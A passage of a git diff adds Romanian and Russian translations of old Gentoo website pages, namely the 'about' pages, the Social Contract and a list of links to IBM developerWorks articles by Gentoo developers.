+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Translator">
+  <mail link="alin@gentoo.org">Alin Dobre</mail>
+</author>
+
+<abstract>
+O viziune generică asupra Gentoo.
+</abstract>
+
+<version>1.5</version>
+<date>2006-05-07</date>
+
+<chapter>
+<title>Despre Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Ce este Gentoo?</title>
+<body>
+
+<p>
+Gentoo este un sistem de operare bazat fie pe Linux sau FreeBSD, ce poate fi
+optimizat sau personalizat automat pentru aproape orice aplicaţie sau nevoie.
+Configurabilitate extremă, performanţă şi o comunitate de utilizatori
+şi dezvoltatori de elită, reprezintă toate semnele experienţei Gentoo.
+</p>
+
+<p>
+Mulţumită unei tehnologii denumită Portage, Gentoo poate deveni un server
+securizat ideal, o staţie de lucru pentru dezvoltare, o staţie desktop
+profesională, sistem pentru jocuri, o soluţie integrată sau orice altceva
+-- orice doriţi dvs. să reprezinte. Datorită adaptabilităţii aproape
+infinită, noi denumim Gentoo o <b>meta</b>distribuţie.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ce Este Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> este inima Gentoo, şi are multe funcţii cheie. Pentru
+aceasta, Portage este sistemul de <e>distribuţie software</e> pentru Gentoo.
+Pentru a descărca ultimile aplicaţii pentru Gentoo, trebuie să tastaţi o
+comandă: <c>emerge --sync</c>. Această comandă îi specifică sistemului
+Portage să actualizeze "structura Portage" locală de pe Internet. Structura
+Portage locală conţine o colecţie completă de script-uri ce pot fi
+utilizate de Portage pentru a crea şi instala utimile pachete Gentoo. În
+acest moment, avem <uri link="http://packages.gentoo.org/categories">mai mult
+de 10000 de pachete</uri> în structura noastră Portage, actualizări şi
+pachete noi <uri link="http://packages.gentoo.org">adăugându-se în
+permanenţă</uri>.
+</p>
+
+<p>
+Portage este, de asemenea, un sistem de <e>construire şi instalare de
+pachete</e>. Când doriţi să instalaţi un pachet, tastaţi <c>emerge
+nume_pachet</c>, pas în care Portage va construi automat a versiune
+personalizată a pachetului urmând specificaţiile dvs. exacte,
+optimizându-l pentru componentele dvs. hardware şi asigurându-vă că
+modulele opţionale din pachet pe care le doriţi sunt activate -- şi cele
+care nu le doriţi, nu sunt activate.
+</p>
+
+<p>
+De asemenea, Portage vă păstrează sistemul <e>la zi</e>. Tastând
+<c>emerge -uD world</c> -- o comandă -- va asigura că toate pachetele pe
+care <e>dvs.</e> le doriţi în sistem, sunt actualizate automat.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ro/contract.xml b/xml/htdocs/main/ro/contract.xml
new file mode 100644
index 00000000..2edef25b
--- /dev/null
+++ b/xml/htdocs/main/ro/contract.xml
@@ -0,0 +1,143 @@
+<?xml version='1.0' encoding='utf-8'?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="ro">
+<title>Contractul Social Gentoo</title>
+
+<author title="Autor">
+  Proiectul Gentoo
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Translator">
+  <mail link="alin@gentoo.org">Alin Dobre</mail>
+</author>
+
+<abstract>
+Acest document conţine un angajament către comunitatea Gentoo despre libertatea
+aplicaţiilor Gentoo, deschiderea procesului de dezvoltare Gentoo şi soluţiile
+pe care le dăm înapoi comunităţii software libere.
+</abstract>
+
+<version>1.9</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Contractul Social Gentoo</title>
+<section>
+<body>
+
+<p>
+Acest contract social este destinat să descrie clar politicile şi standardele
+dezvoltării în ansamblu a echipei de dezvoltare a proiectului Gentoo. Părţi din
+acest document au fost derivate din <uri
+link="http://www.debian.org/social_contract">Contractul Social al Debian</uri>.
+Este, în general, similar cu acesta, exceptând unele părţi care au fost
+clarificate şi dezvoltate, iar alte părţi redundante au fost înlăturate.
+Comentariile sunt bine-venite. Vă rugăm să le trasmiteţi pe lista noastră de
+discuţii <mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ce Este Gentoo?</title>
+<body>
+
+<p>
+Gentoo în sine, este o colecţie de cunoaştere liberă. Cunoaşterea în acest
+context poate fi definită ca documentaţie şi metadată ce acoperă concepte sau
+domenii relevante pentru sistemele de operare şi componentele acestora, precum
+şi <uri link="http://www.fsf.org/philosophy/free-sw.html">software liber</uri>
+contribuit de diverşi dezvoltatori ai Proiectului Gentoo.
+</p>
+
+<p>
+Gentoo, sistemul de operare, este derivat din bazele conceptului descris
+anterior. Un sistem de operare Gentoo ar trebui să satisfacă necesităţile
+proprii (în engleză: "self-hosting"). Cu alte cuvinte, sistemul de operare ar
+trebui să se poată construi singur de la început, utilizând utilitarele şi
+metadatele mai sus menţionate. Dacă un produs asociat cu un proiect oficial
+Gentoo nu satisface aceste cerinţe, produsul nu este categorizat ca un sistem
+de operare Gentoo.
+</p>
+
+<p>
+O listă oficială a proiectelor Gentoo este afişată în documentul <uri
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Metastructura
+Gentoo</uri>. Un proict Gentoo nu este necesar să producă un sistem de operare
+Gentoo, pentru a fi recunoscut oficial.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo este şi va rămâne Software Liber</title>
+<body>
+
+<p>
+Vom publica constribuţiile noastre pentru Gentoo ca software liber, metadată
+sau documentaţie, sub licenţa GNU General Public License versiunea 2 (sau mai
+recentă, la discreţia noastră) sau licenţa Creative Commons - Attribution /
+Share Alike versiunea 2 (sau mai recentă, la discreţia noastră). Orice
+contribuţii externe pentru Gentoo (sub forma unor surse distribuibile în mod
+liber, binare, metadate sau documentaţie) pot fi încorporate în Gentoo, având
+în vedere că suntem pe deplin împuterniciţi să facem acest lucru. În orice caz,
+Gentoo nu va depinde <e>niciodată</e> de o aplicaţie sau metadată, decât în
+cazul în care este în conformitate cu GNU General Public License, GNU Lesser
+General Public License, Creative Commons - Attribution/Share Alike sau altă
+licenţă aprobată de Iniţiativa Open Source (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Ne gândim la extinderea clauzei de mai sus pentru a necesita ca toate
+componentele de bază ale Gentoo să trebuiască să fie în conformitate cu o
+licenţă aprobată de OSI <e>şi</e> Fundaţia pentru Software Liber (<uri
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>Vom contribui înapoi Comunităţii pentru Software Liber</title>
+<body>
+
+<p>
+Vom stabili relaţii cu autorii de Software Liber şi vom colabora cu ei, când va
+fi posibil. Vom raporta rezolvări pentru problemele apărute, îmbunătăţiri,
+cereri de la utilizatori, etc. autorilor "upstream" ai aplicaţiilor incluse în
+sistemul nostru. Vom documenta, de asemenea, foarte clar contribuţiile
+<e>noastre</e> pentru Gentoo, precum şi orice modificări sau îmbunătăţiri
+efectuate asupra surselor externe utilizate în Gentoo (fie sub forma unor
+fişiere patch, "comenzi sed" sau orice altă formă). Recunoaştem faptul că
+îmbunătăţirile şi modificările noastre au mult mai mult sens în marea
+comunitate pentru Software Liber dacă sunt documentate şi explicate clar,
+deoarece nu oricine are timp sau disponibilitate pentru a înţelege modificările
+literale conţinute în fişierele patch sau comenzile utilizate.
+</p>
+
+</body>
+</section>
+<section>
+<title>Nu vom ascunde problemele</title>
+<body>
+
+<p>
+Vom menţine <uri link="http://bugs.gentoo.org/">baza noastră de date pentru
+raportarea de bug-uri</uri> deschisă pentru public întotdeauna; rapoartele
+introduse de utilizatori online vor fi imediat vizibile celorlalţi.
+</p>
+
+<p>
+Excepţiile sunt în cazul în care recepţionăm informaţii legate de securitate
+sau informaţii relative la relaţiile între dezvoltatori cu cererea de a nu fi
+publicate înainte de o anumită dată limită.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/about.xml b/xml/htdocs/main/ru/about.xml
new file mode 100644
index 00000000..63b874c9
--- /dev/null
+++ b/xml/htdocs/main/ru/about.xml
@@ -0,0 +1,114 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/about.xml,v 1.21 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="ru">
+<title>О системе Gentoo</title>
+<author title="автор">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="редактор">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="редактор">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="редактор">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="редактор">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="переводчик">
+  <mail link="mazurous@mail.ru">Антон Вороватов</mail>
+</author>
+<author title="ведущий переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Обзорные сведения о Gentoo.
+</abstract>
+
+<version>1.5</version>
+<date>2006-05-07</date>
+
+<chapter>
+<title>Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Что такое Gentoo?</title>
+<body>
+
+<p by="Wikipedia">
+Gentoo &mdash; английское название вида пингвинов Pygoscelis papua (руcские 
+варианты названия: пингвин хинду, субантарктический пингвин, папуанский 
+пингвин, ослиный пингвин). Согласно Книге рекордов Гиннеса 98, этому виду 
+пингвинов принадлежит рекорд скорости плавания (27км/ч).
+</p>
+
+<p>
+Gentoo <e>(по-английски &mdash; &laquo;Джинт<b>уу</b>&raquo;, по-русски &mdash;
+&laquo;Гент<b>у</b>&raquo;)</e> &mdash; свободная операционная система на
+основе Linux или FreeBSD, которую можно автоматически соптимизировать и
+приспособить для решения практически любой задачи, для любых нужд. Предельная
+гибкость настройки, наивысшая скорость и первоклассное сообщество пользователей
+и разработчиков &mdash; вот характерные черты Gentoo.
+</p> 
+
+<p>
+Благодаря технологии Portage <e>(&laquo;порт<b>е</b>ж&raquo;)</e>, Gentoo
+может становиться идеальным защищенным сервером, рабочей станцией разработчика, 
+профессиональной настольной системой, системой для игр, встроенной системой или 
+чем-либо другим &mdash; всем, что вы только пожелаете. Из-за практически 
+неограниченной способности дистрибутива подстраиваться под нужды пользователя, 
+мы называем Gentoo &laquo;<b>мета</b>дистрибутивом&raquo;.
+</p> 
+
+</body>
+</section>
+<section>
+<title>Что такое Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> &mdash; сердце Gentoo, выполняющее множество ключевых 
+функций. Например, portage &mdash; это система <e>распространения программного 
+обеспечения</e> Gentoo. Для того, чтобы получить доступ к последним 
+версиям программ, в Gentoo достаточно набрать всего одну команду: 
+<c>emerge sync</c>. Эта команда заставляет Portage обновить локальное дерево 
+портежей вашей системы через интернет. В локальном дереве портежей содержится 
+полная коллекция сценариев, которые используются для сборки и установки 
+последних версий пакетов Gentoo. Сейчас в нашем дереве Portage <uri
+link="http://packages.gentoo.org/categories">более 10000 пакетов</uri>, 
+а обновления и новые пакеты <uri link="http://packages.gentoo.org/">добавляются 
+каждый день</uri>.
+</p>  
+
+<p>
+Portage также является системой <e>сборки и установки пакетов</e>. Желая 
+установить пакет, нужно просто набрать <c>emerge имя_пакета</c>, при этом  
+Portage автоматически соберет вариант пакета &laquo;на заказ&raquo; в точности 
+по вашим указаниям, оптимизируя его под ваше оборудование и гарантируя, что 
+нужные вам дополнительные возможности включены, ненужные &mdash; нет.
+</p> 
+
+<p>
+Portage также следит за тем, чтобы ваша система <e>не устаревала</e>. Команда 
+<c>emerge -uD world</c> &mdash; всего одна команда! &mdash; позаботится о том, 
+чтобы все нужные <e>именно вам</e> пакеты в системе автоматически обновились.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/articles.xml b/xml/htdocs/main/ru/articles.xml
new file mode 100644
index 00000000..a9344dc1
--- /dev/null
+++ b/xml/htdocs/main/ru/articles.xml
@@ -0,0 +1,443 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!--
+  Most articles are available through
+  http://www-106.ibm.com/developerworks/views/linux/articles.jsp?expand=Robbins%2C+Daniel&sort_order=desc&search_by=&show_abstract=false&sort_by=Date&view_by=Author
+  http://www-106.ibm.com/developerworks/views/linux/tutorials.jsp?expand=Robbins%2C+Daniel&sort_order=desc&search_by=&sort_by=Date&view_by=Author&S_TACT=104AHW03&S_CMP=EDU
+-->
+
+<guide link="/main/ru/articles.xml" disclaimer="obsolete">
+<title>Статьи о Linux!</title>
+<author title="автор">
+  <mail link="g2boojum@gentoo.org">Grant Goodyear</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="ответственный переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>Статьи о Linux, написанные разработчиками Gentoo Linux.</abstract>
+
+<version>1.1</version>
+<date>2006-07-11</date>
+
+<chapter>
+<title>Статьи о Gentoo и Linux</title>
+<section>
+<body>
+
+<p>
+<b>Пожалуйста, обратите внимание, что данный документ больше не поддерживается.
+Это относится ко всем и каждой ссылке на исходные документы в хранилище
+IBM/DevWorks. За дополнительными сведениями обращайтесь к <uri
+link="http://bugs.gentoo.org/139688">вопросу #139688</uri> (англ.)</b>
+</p>
+
+<p>
+<uri link="/proj/en/gdp/">Проект документации Gentoo (англ.)</uri> преобразовал
+множество статей, перечисленных на этой странице, в формат GuideXML,
+и опубликовал их на веб-сайте Gentoo.
+</p>
+
+<p>
+Пожалуйста, обязательно загляните в хранилище <uri 
+link="/doc/en/articles/">Статей о Gentoo и Linux (англ.)</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Статьи разработчиков Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+Многие из наших разработчиков написали статьи для сообщества Linux.
+Вот соответствующие ссылки.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Daniel Robbins, Chris Houser и Aron Griffis</title>
+<body>
+
+<p>
+Daniel Robbins (drobbins) был главным архитектором Gentoo. Chris Houser 
+(chouser) и Aron Griffis (agriffis) &mdash; инженеры-разработчики драйверов 
+устройств для <uri link="http://www.tru64unix.compaq.com/">Tru64 UNIX</uri> в
+<uri link="http://www.hp.com/">HP</uri>.</p>
+
+<note>
+Все представленные статьи &mdash; на английском языке. <e>&mdash; прим. 
+пер.</e>
+</note>
+
+<ol>
+  <li>Подготовка к экзамену LPI Certification 101
+  <ul>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir21-i.html">
+      Part 1: Linux fundamentals</uri>
+    </li>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir22-i.html">
+      Part 2: Basic administration</uri>
+    </li>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir23-i.html">
+      Part 3: Intermediate administration</uri>
+    </li>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir24-i.html">
+      Part 4: Advanced administration</uri>
+    </li>
+  </ul>
+  </li>
+  <li>Подготовка к экзамену LPI Certification 102
+  <ul>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir25-i.html">
+      Part 1: Compiling sources and managing packages</uri>
+    </li>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir26-i.html">
+      Part 2: Configuring and compiling the kernel</uri>
+    </li>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir27-i.html">
+      Part 3: Networking</uri>
+    </li>
+    <li>
+      <uri link="http://www-106.ibm.com/developerworks/edu/l-dw-linux-lpir28-i.html">
+      Part 4: Secure shell and file sharing</uri>
+    </li>
+  </ul>
+  </li>
+</ol>
+
+</body>
+</section>
+
+<section>
+<title>Mikael Hallendal</title>
+<body>
+
+<p>
+Mikael Hallendal (Hallski) написал эту статью, будучи разработчиком GNOME и
+руководителем команды графической среды (Gentoo Linux Desktop Team).
+</p>
+
+<ul>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/linux/library/l-gnome1/">
+    GNOMEnclature: Getting ready for GNOME 2 (Part 1)</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Chris Houser</title>
+<body>
+
+<p>
+Chris Houser (chouser) &mdash; инженер-разработчик драйверов устройств для <uri 
+link="http://www.tru64unix.compaq.com/">Tru64 UNIX</uri> в <uri 
+link="http://www.hp.com/">HP</uri>.
+</p>
+
+<ul>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/edu/os-dw-linuxxwin-i.html">
+    Introduction to XFree86 4.x</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Daniel Robbins</title>
+<body>
+
+<p>
+Daniel Robbins (drobbins) был главным архитектором Gentoo.
+</p>
+
+<ol>
+  <li>Руководство по реализации расширенной файловой системы (Advanced filesystem implementer's guide)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs.html">Part 1, Journalling and ReiserFS</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs2.html">Part 2, Using ReiserFS and Linux 2.4</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs3.html">Part 3, Using the virtual memory (VM) filesystem and bind mounts</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs4.html">Part 4, Introduction to devfs</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs5.html">Part 5, Setting up devfs</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs6/">Part 6, Implementing devfs (using the init wrapper)</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs7.html">Part 7, Introducing ext3 </uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs8.html">Part 8, Surprises in ext3</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs9.html">Part 9, Introducing XFS</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs10.html">Part 10, Deploying XFS</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs11.html">Part 11, Filesystem update</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs12/">Part 12, Introduction to EVMS</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-fs13/">Part 13, More about EVMS</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Переработка gentoo.org: возрождение сайта (The gentoo.org redesign: A site reborn)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/us-gentoo/">Part 1, XML, XSLT, and Python breathe new life into an old site</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/web/library/us-gent">Part 2, The doc system</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/web/library/us-gentoo3/">Part 3, The new main pages</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/web/library/us-gentoo4/">Part 4, The final touch</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Объяснение нитей POSIX (POSIX threads explained)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-posix1.html">Part 1, A simple and nimble tool for memory sharing</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-posix2/">Part 2, The little things called mutexes</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-posix3/">Part 3, Improve efficiency with condition variables</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Bash в примерах (Bash by example)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-bash.html">Part 1, Fundamental programming in the Bourne again shell (bash)</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-bash2.html">Part 2, More bash programming fundamentals</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-bash3.html">Part 3, Exploring the ebuild system</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Awk в примерах (Awk by example)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-awk1.html">Part 1, An intro to the great language with the strange name</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-awk2.html">Part 2, Records, loops, and arrays</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-awk3.html">Part 3, String functions and ... checkbooks?</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Sed в примерах (Sed by example)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-sed1.html">Part 1, Get to know the powerful UNIX editor</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-sed2.html">Part 2, How to further take advantage of the UNIX text editor</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-sed3.html">Part 3, Taking it to the next level: Data crunching, sed style</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Руководство по устойчивости оборудования в Linux (Linux hardware stability guide)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-hw1/">Part 1, CPU and memory troubleshooting</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-hw2.html">Part 2, Drivers, IRQs, and PCI latency</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Создание дистрибутива (Making the distribution)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-dist1.html">Part 1, Birth of the Gentoo Linux distribution</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-dist2.html">Part 2, From Enoch to Gentoo, via minor setbacks and corporate run-ins</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-dist3.html">Part 3, The author strays from Linux and then returns</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Управление ключами OpenSSH (OpenSSH key management)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-keyc.html">Part 1, Understanding RSA/DSA authentication</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-keyc2/">Part 2, Introducing ssh-agent and keychain</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-keyc3/">Part 3, Agent forwarding and keychain improvements</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Изучение диспетчера логических томов Linux (Learning Linux LVM)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-lvm/">Part 1, Storage management magic with Logical Volume Management</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-lvm2.html">Part 2, The cvs.gentoo.org upgrade</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Введение в Samba (Introduction to Samba)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-sambaint/index.html">Part 1, Key concepts</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-samba2.html">Part 2, Compiling, installing, and configuring Samba for your environment</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-samba3.html">Part 3, Getting Samba to samba: The configuration stage</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Разбиение диска в действии (Partitioning in action)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-partplan.html">Moving /home: A step-by-step partition moving how-to</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-partplan4.html">Consolidating data: Moving /tmp and /var to their own shared partition</uri>
+      </li>
+    </ul>
+  </li>
+  <li>Программные дисковые массивы в Linux 2.4 (Linux 2.4 Software RAID)
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/linux/library/l-raid1/index.html">Part 1, Installation and a general introduction</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-raid2/index.html">Part 2, Setting up RAID-1 in a production environment</uri>
+      </li>
+    </ul>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-swaptip2.html">Максимум подкачки (Maximum swappage)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/A7F41AE725B03E1D86256A46005DB972?OpenDocument">Учебник по разработке межсетевого экрана с памятью состояния в Linux 2.4 (Linux 2.4 stateful firewall design (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-fw/index.html">Динамические межсетевые экраны iptables (Dynamic iptables firewalls)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/7E96EDC7EA87208B8625694400584F81?OpenDocument">Компиляция ядра Linux (Compiling the Linux kernel)</uri>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-samba-tng.html">Поддержка контроллеров домена в Samba: встраивание Samba в среду NT (Samba domain controller support: Integrating Samba into an NT environment)</uri>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-tip-prompt/index.html">Тайна приглашения: улучшение системного приглашения (Prompt magic: Enhancing the system prompt)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/A5C4A0AF4296C66886256A0E005DE112?OpenDocument">CVS для разработчика и любителя (учебник) (CVS for the developer or amateur (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/8B6EDC18E0EC5FE4862569B5006E5AE1?OpenDocument">Введение в vi &mdash; способ шпаргалки (учебник) (vi intro &mdash; the cheat sheet method (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/10E39489AAEB0CB78625698B00705F79?OpenDocument">Основы сценариев Rebol (учебник) (Rebol scripting basics (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/BA954CF013E79EA886256A70005C5914?OpenDocument">Ускорение перемещения по Паутине при помощи кэширующего прокси (учебник) (Fast Web browsing with a caching proxy (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/0F1731DC664023B7862569D0005C44AF?OpenDocument">Знакомство c GRUB (учебник) (Getting to know GRUB (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/73CADD8F9875EAD0862569C8005B6783?OpenDocument">Основы JFS (учебник) (JFS fundamentals (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/0FB4D16BD2C3E83E86256AA2005244D1?OpenDocument">Резервное копирование ваших Linux-машин (учебник) (Backing up your Linux machines (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-partitiontip.html">Планирование разделов: как содержать диск в порядке (Partition planning tips: How to keep things organized on disk)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/E956E8D1D0C44A108625693700785C0E?OpenDocument">Компиляция и установка программ из исходных кодов (учебник) (Compiling and installing software from sources (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-tip-updating.html">Обновление приложений из исходных кодов (Upgrading applications from sources)</uri>
+  </li>
+  <li>
+    <uri link="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/F86D74C7B3B4E65486256B2900073A2E?OpenDocument">Кластеризация Linux с помощью Mosix (учебник) (Linux clustering with MOSIX (tutorial)</uri>
+  </li>
+  <li>
+    <uri link="http://www-106.ibm.com/developerworks/library/l-samba/index.html">Устройство Samba 2.2: новая, лучшая и подходящая для предприятий (Inside Samba 2.2: New, improved, and enterprise-ready)</uri>
+  </li>
+  <!-- 20030211 : commented out : no longer seems to be on IBM's site : kml--> 
+  <!--
+  <li>The new Amiga
+    <ul>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/amiga.html?dwzone=linux">McEwen and Moss discuss the renaissance of the Amiga SDK</uri>
+      </li>
+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/l-amiga3/index.html">VP assembly code demo</uri>
+      </li>
